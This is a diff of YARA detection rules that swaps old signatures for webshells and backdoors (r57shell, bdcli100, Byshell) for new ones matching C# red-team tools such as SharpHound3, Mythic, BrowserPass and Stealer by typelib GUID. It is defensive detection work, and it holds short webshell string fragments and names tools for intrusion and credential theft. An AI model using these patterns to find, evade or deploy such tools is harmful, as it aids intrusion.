+		$typelibguid1up = "78BFCFC2-EF1C-4514-BCE6-934B251666D2" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Phpft
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpattack : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phpft.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "00bc690b-4977-5076-a40a-edd39c37233f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7689-L7701"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "60ef80175fcc6a879ca57c54226646b1"
-		logic_hash = "741536acafdc4da618d69bdae2f0a3e8c004a4027cc76c796158ee111c006414"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1eb911ab-3fb9-54b7-8afb-66328f30d563"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/jaredhaight/SharpAttack"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4082-L4096"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2103b98f188d74c340d6ca71590be32c04cadba893882aebf4e22f5046ae4bc9"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "PHP Files Thief"
-		$s11 = "http://www.4ngel.net"
+		$typelibguid0lo = "5f0ceca3-5997-406c-adf5-6c7fbb6cba17" ascii wide
+		$typelibguid0up = "5F0CECA3-5997-406C-ADF5-6C7FBB6CBA17" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Indexer
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Altman : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file indexer.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fba053d7-5413-563f-8c27-0554349500b2"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7702-L7713"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "135fc50f85228691b401848caef3be9e"
-		logic_hash = "a1bfba9c24819f5c1574aa179d853a6cc2fcf58c7b9a14eeab2639248178549c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "21acc8af-9497-5842-90a9-7a9300585d5d"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/keepwn/Altman"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4098-L4146"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5ef32e351094f26bdaa87043b9ff202c25c67e6cd13935c3eb1ab7b4420b867c"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input type=\"r"
+		$typelibguid0lo = "64cdcd2b-7356-4079-af78-e22210e66154" ascii wide
+		$typelibguid0up = "64CDCD2B-7356-4079-AF78-E22210E66154" ascii wide
+		$typelibguid1lo = "f1dee29d-ca98-46ea-9d13-93ae1fda96e1" ascii wide
+		$typelibguid1up = "F1DEE29D-CA98-46EA-9D13-93AE1FDA96E1" ascii wide
+		$typelibguid2lo = "33568320-56e8-4abb-83f8-548e8d6adac2" ascii wide
+		$typelibguid2up = "33568320-56E8-4ABB-83F8-548E8D6ADAC2" ascii wide
+		$typelibguid3lo = "470ec930-70a3-4d71-b4ff-860fcb900e85" ascii wide
+		$typelibguid3up = "470EC930-70A3-4D71-B4FF-860FCB900E85" ascii wide
+		$typelibguid4lo = "9514574d-6819-44f2-affa-6158ac1143b3" ascii wide
+		$typelibguid4up = "9514574D-6819-44F2-AFFA-6158AC1143B3" ascii wide
+		$typelibguid5lo = "0f3a9c4f-0b11-4373-a0a6-3a6de814e891" ascii wide
+		$typelibguid5up = "0F3A9C4F-0B11-4373-A0A6-3A6DE814E891" ascii wide
+		$typelibguid6lo = "9624b72e-9702-4d78-995b-164254328151" ascii wide
+		$typelibguid6up = "9624B72E-9702-4D78-995B-164254328151" ascii wide
+		$typelibguid7lo = "faae59a8-55fc-48b1-a9b5-b1759c9c1010" ascii wide
+		$typelibguid7up = "FAAE59A8-55FC-48B1-A9B5-B1759C9C1010" ascii wide
+		$typelibguid8lo = "37af4988-f6f2-4f0c-aa2b-5b24f7ed3bf3" ascii wide
+		$typelibguid8up = "37AF4988-F6F2-4F0C-AA2B-5B24F7ED3BF3" ascii wide
+		$typelibguid9lo = "c82aa2fe-3332-441f-965e-6b653e088abf" ascii wide
+		$typelibguid9up = "C82AA2FE-3332-441F-965E-6B653E088ABF" ascii wide
+		$typelibguid10lo = "6e531f6c-2c89-447f-8464-aaa96dbcdfff" ascii wide
+		$typelibguid10up = "6E531F6C-2C89-447F-8464-AAA96DBCDFFF" ascii wide
+		$typelibguid11lo = "231987a1-ea32-4087-8963-2322338f16f6" ascii wide
+		$typelibguid11up = "231987A1-EA32-4087-8963-2322338F16F6" ascii wide
+		$typelibguid12lo = "7da0d93a-a0ae-41a5-9389-42eff85bb064" ascii wide
+		$typelibguid12up = "7DA0D93A-A0AE-41A5-9389-42EFF85BB064" ascii wide
+		$typelibguid13lo = "a729f9cc-edc2-4785-9a7d-7b81bb12484c" ascii wide
+		$typelibguid13up = "A729F9CC-EDC2-4785-9A7D-7B81BB12484C" ascii wide
+		$typelibguid14lo = "55a1fd43-d23e-4d72-aadb-bbd1340a6913" ascii wide
+		$typelibguid14up = "55A1FD43-D23E-4D72-AADB-BBD1340A6913" ascii wide
+		$typelibguid15lo = "d43f240d-e7f5-43c5-9b51-d156dc7ea221" ascii wide
+		$typelibguid15up = "D43F240D-E7F5-43C5-9B51-D156DC7EA221" ascii wide
+		$typelibguid16lo = "c2e6c1a0-93b1-4bbc-98e6-8e2b3145db8e" ascii wide
+		$typelibguid16up = "C2E6C1A0-93B1-4BBC-98E6-8E2B3145DB8E" ascii wide
+		$typelibguid17lo = "714ae6f3-0d03-4023-b753-fed6a31d95c7" ascii wide
+		$typelibguid17up = "714AE6F3-0D03-4023-B753-FED6A31D95C7" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_R57Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Browserpass : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file r57shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7714-L7725"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8023394542cddf8aee5dec6072ed02b5"
-		logic_hash = "40ff6bceb3f9bd95fbf5e75681fadadaa64243007e10fcc86bb909282b8161c5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "bad36c36-dbed-527c-a2f5-4dceff1abe4b"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/jabiel/BrowserPass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4148-L4162"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "70414002857991016ebd01889d6346b32a553525e06556f5273e53753c3caccc"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s11 = " $_POST['cmd']=\"echo \\\"Now script try connect to"
+		$typelibguid0lo = "3cb59871-0dce-453b-857a-2d1e515b0b66" ascii wide
+		$typelibguid0up = "3CB59871-0DCE-453B-857A-2D1E515B0B66" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Bdcli100
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Mythic : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file bdcli100.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c74e8822-9556-5596-a130-c6e0120d7103"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7726-L7738"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b12163ac53789fb4f62e4f17a8c2e028"
-		logic_hash = "48c70413c71d5a84f8cea48c77935b7cc26d9e1348d7ab257de4540d69f0f817"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "44237fac-1526-5587-83a1-61d7a54f7da9"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/its-a-feature/Mythic"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4164-L4180"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f75bb7695d0de67f562e1c1d7505e0f13e9192ccd7bf6f2128897f4a871430be"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "unable to connect to "
-		$s8 = "backdoor is corrupted on "
+		$typelibguid0lo = "91f7a9da-f045-4239-a1e9-487ffdd65986" ascii wide
+		$typelibguid0up = "91F7A9DA-F045-4239-A1E9-487FFDD65986" ascii wide
+		$typelibguid1lo = "0405205c-c2a0-4f9a-a221-48b5c70df3b6" ascii wide
+		$typelibguid1up = "0405205C-C2A0-4F9A-A221-48B5C70DF3B6" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Devpack_2005Red
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Nuages : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2005Red.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "963effd9-f31d-5238-9419-b5dd11822e56"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7739-L7752"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d8ccda2214b3f6eabd4502a050eb8fe8"
-		logic_hash = "716b6faa8d1216f592d63b658cdd65d7be0226bf746b5fdf1827bdf881562711"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5ad947e2-bd71-50d4-9bbf-4d018c7ff36a"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/p3nt4/Nuages"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4182-L4196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf417eb45867b6fe77cf229688b3c210814a902949840ed946a9d9cff8c8a3d7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "scrollbar-darkshadow-color:#FF9DBB;"
-		$s3 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
-		$s9 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+		$typelibguid0lo = "e9e80ac7-4c13-45bd-9bde-ca89aadf1294" ascii wide
+		$typelibguid0up = "E9E80AC7-4C13-45BD-9BDE-CA89AADF1294" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006X2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsniper : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2006X2.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7753-L7765"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cc5bf9fc56d404ebbc492855393d7620"
-		logic_hash = "0df587ccaf41d11c6be90ef631ce8b21f95f08fa8f71e62463c378455b312f4a"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "14e6a3b8-5e1f-5dd8-9b51-22522ac317e7"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/HunnicCyber/SharpSniper"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4198-L4212"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c2c67c24a8ad6ecfac03e9f5bad0731883503d974bf7a0ab313e31c30190fb5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Powered By "
-		$s3 = " \" onClick=\"this.form.sharp.name=this.form.password.value;this.form.action=this."
+		$typelibguid0lo = "c8bb840c-04ce-4b60-a734-faf15abf7b18" ascii wide
+		$typelibguid0up = "C8BB840C-04CE-4B60-A734-FAF15ABF7B18" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Rdrbs084
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphound3 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file rdrbs084.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "97548273-6894-5c9f-8cca-d966ce770ada"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7766-L7778"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ed30327b255816bdd7590bf891aa0020"
-		logic_hash = "8a743d62723c4a5f863f986edd4b149728680b40d6a4b9a99b093d62ccb70cf8"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "58001912-88a1-527d-9d3e-d7c376a1fce4"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/BloodHoundAD/SharpHound3"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4214-L4228"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0350505aa796cccc56092fb835269c5aad6de0096bbfc5d1608113e11827951a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Create mapped port. You have to specify domain when using HTTP type."
-		$s8 = "<LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET SERVER> <TARGET"
+		$typelibguid0lo = "a517a8de-5834-411d-abda-2d0e1766539c" ascii wide
+		$typelibguid0up = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Caseswitch_2005
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Blocketw : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2005.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0f2b8e71-1c11-5efe-bee7-146168aec369"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7779-L7797"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8bf667ee9e21366bc0bd3491cb614f41"
-		logic_hash = "0ecf28b5abb918cd1d8f38b76019dddf19dff5dbb114f16ef6ec9b46cb590a46"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c2b72fef-6549-5b53-8ccf-232e8d152e96"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/Soledge/BlockEtw"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4230-L4244"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4670091775772f66e82dd7c78ac8f307d301ce849424dabcaf495c46cd737d7f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "MSComDlg.CommonDialog"
-		$s2 = "CommonDialog1"
-		$s3 = "__vbaExceptHandler"
-		$s4 = "EVENT_SINK_Release"
-		$s5 = "EVENT_SINK_AddRef"
-		$s6 = "By Marcos"
-		$s7 = "EVENT_SINK_QueryInterface"
-		$s8 = "MethCallEngine"
+		$typelibguid0lo = "daedf7b3-8262-4892-adc4-425dd5f85bca" ascii wide
+		$typelibguid0up = "DAEDF7B3-8262-4892-ADC4-425DD5F85BCA" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Ebayid_Index3
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwifigrabber : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file index3.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4fc30150-7b44-53c4-888c-faf651495407"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7798-L7809"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0412b1e37f41ea0d002e4ed11608905f"
-		logic_hash = "47660cb71d6787683e51aa14fc0f4a9d6f1c59517b77bfe4135098a0020ded11"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1a457672-743c-56f0-a4d7-6c25f9ce2345"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/r3nhat/SharpWifiGrabber"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4246-L4260"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1924847602c4075779697f8b74dee48738f2a4e7852b2431c128e677f6c04407"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s8 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"You"
+		$typelibguid0lo = "c0997698-2b73-4982-b25b-d0578d1323c2" ascii wide
+		$typelibguid0up = "C0997698-2B73-4982-B25B-D0578D1323C2" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Phvayv
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpmapexec : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phvayv.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "07e027a6-01a5-5250-a35e-fbfef1449cfe"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7810-L7821"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "205ecda66c443083403efb1e5c7f7878"
-		logic_hash = "d0482607f7d9cf6c89963cb9b1f943fa0b80636e857e0fb044cd9a0b3f974deb"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b4922734-a486-5c4d-9bd7-5146cfecbf01"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/cube0x0/SharpMapExec"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4262-L4276"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "49055d7159cf93e99b8e4ac53c29a66952955fa10457e7beca8e5e0277acec36"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "wrap=\"OFF\">XXXX</textarea></font><font face"
+		$typelibguid0lo = "bd5220f7-e1fb-41d2-91ec-e4c50c6e9b9f" ascii wide
+		$typelibguid0up = "BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Byshell063_Ntboot
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_K8Fly : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file ntboot.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7d1f39f6-04f1-51ee-b125-c35af8ae4c0c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7822-L7836"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "99b5f49db6d6d9a9faeffb29fd8e6d8c"
-		logic_hash = "2fdc930eacb87d02ebe69a2b64df4103bd0f3417a76f1b2922b3d4cd4c0dffe9"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3421e6fb-df65-5e2e-ae46-37f9c763c6a1"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/zzwlpx/k8fly"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4278-L4292"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "16e9707f017aedf412ec98a466ec945e630ec1e294ee97e52a918d54be93db91"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtBoot"
-		$s1 = "Failure ... Access is Denied !"
-		$s2 = "Dumping Description to Registry..."
-		$s3 = "Opening Service .... Failure !"
+		$typelibguid0lo = "13b6c843-f3d4-4585-b4f3-e2672a47931e" ascii wide
+		$typelibguid0up = "13B6C843-F3D4-4585-B4F3-E2672A47931E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Casus15_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Stealer : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file casus15.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d3f67fe9-a93f-504a-8b14-a815135d562f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7837-L7848"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8d155b4239d922367af5d0a1b89533a3"
-		logic_hash = "45820e0398cca8e75fc4acf6863d962a817afd95a4592acd4ac4a50029684220"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c721a0ac-e898-52aa-9bdf-a19bc0bd783d"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/malwares/Stealer"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4294-L4312"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "541836ece736557383d209a424a0fa9fb9df69a669d8f1cf8d1bdb41bd27af57"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "copy ( $dosya_gonder"
+		$typelibguid0lo = "8fcd4931-91a2-4e18-849b-70de34ab75df" ascii wide
+		$typelibguid0up = "8FCD4931-91A2-4E18-849B-70DE34AB75DF" ascii wide
+		$typelibguid1lo = "e48811ca-8af8-4e73-85dd-2045b9cca73a" ascii wide
+		$typelibguid1up = "E48811CA-8AF8-4E73-85DD-2045B9CCA73A" ascii wide
+		$typelibguid2lo = "d3d8a1cc-e123-4905-b3de-374749122fcf" ascii wide
+		$typelibguid2up = "D3D8A1CC-E123-4905-B3DE-374749122FCF" ascii wide
 
 	condition:
-		all of them
